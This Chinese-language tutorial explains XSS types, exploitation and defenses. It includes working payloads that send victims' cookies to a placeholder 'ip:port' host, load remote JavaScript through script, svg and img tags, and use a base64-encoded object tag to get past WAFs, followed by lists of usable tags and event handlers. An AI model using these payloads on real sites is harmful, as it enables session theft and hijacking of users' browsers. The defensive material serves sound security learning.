系列文章目录
XSS攻击
一、XSS是什么?
XSS的本质是浏览器执行了恶意js代码。
二、XSS分类
1.反射型XSS
需要受害者主动去点击存在XSS的恶意链接。是非持久的,一般场景危害性低(大流量页面除外)。
2.存储型XSS
恶意js代码存储在web服务器中,用户访问页面时会触发,持久化,危害性较高。
3.DOM型XSS
浏览器执行了恶意js代码,通过修改和获取Dom中的数据。
三、XSS利用
XSS利用文章很多,不再重复,这里主要是利用XSS获取用户敏感信息和加载远程文件。
获取Cookie
<script>document.location="http://ip:port/cookie?cookie="+document.cookie</script>
加载远程js文件
<script src="http://ip:port/xsstools/myjs/ceshi.js"></script>
<svg onmouseover="$.getScript`https://ip:port/xssools/myjs/ceshi.js`" stype="display:none">
<img src="1" onerror="s=createElement('script');body.appendChild(s);s.src='//ip:port/xsstools/myjs/ceshi.js'">
编码绕过
大小写绕过基本都会被WAF拦截,可以使用编码。
base64
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9pcDpwb3J0L3hzc3Rvb2xzL215anMvY2VzaGkuanMiPjwvc2NyaXB0Pg=="></object>
可加载远程文件的标签和属性
标签
svg|script|input|p|div|link|button|details|img|object|iframe|a|body|bgsound|br|style|mate|table|div|base
属性
FSCommand|onAbort|onActivate|onAfterPrint|onAfterUpdate|onBeforeActivate|onBeforeCopy|onBeforeCut|onBeforeDeactivate|onBeforeEditFocus|onBeforePaste|onBeforePrint|onBeforeUnload|onBeforeUpdate|onBegin|onBlur|onBounce|onCellChange|onChange|onClick|onContextMenu|onControlSelect|onCopy|onCut|onDataAvailable|onDataSetChanged|onDataSetComplete|onDblClick|onDeactivate|onDrag|onDragEnd|onDragLeave|onDragEnter|onDragOver|onDragDrop|onDragStart|onDrop|onEnded|onError|onErrorUpdate|onFilterChange|onFinish|onFocus|onFocusIn|onFocusOut|onHashChange|onHelp|onInput|onKeyDown|onKeyPress|onKeyUp|onLayoutComplete|onLoad|onLoseCapture|onMediaComplete|onMediaError|onMessage|onMouseDown|onMouseEnter|onMouseLeave|onMouseMove|onMouseOut|onMouseOver|onMouseUp|onMouseWheel|onMove|onMoveEnd|onMoveStart|onOffline|onOnline|onOutOfSync|onPaste|onPause|onPopState|onProgress|onPropertyChange|onReadyStateChange|onRedo|onRepeat|onReset|onResize|onResizeEnd|onResizeStart|onResume|onReverse|onRowsEnter|onRowExit|onRowDelete|onRowInserted|onScroll|onSeek|onSelect|onSelectionChange|onSelectStart|onStart|onStop|onStorage|onSyncRestored|onSubmit|onTimeError|onTrackChange|onUndo|onUnload|onURLFlip|seekSegmentTim
四、XSS防御
开发阶段
- 开启Http only.
- 通过CSP限制恶意js执行。
- 永远不要相信外部输入,对输入进行编码。
- 遵循安全开发规范,不使用危险函数。
web流量检测
- WAF
直接检测拦截请求中函数 - 关联检测
WAF限制于性能和功能大部分为单包检测,XSS检测误报或漏报较高,可以采集web流量进行旁路检测,关联请求响应,有条件还可以关联dnslog日志等进行检测。
总结
XSS利用方式较多,多研究总有一个适合你,
XSS防御方式较多,多种方式联动防御才好。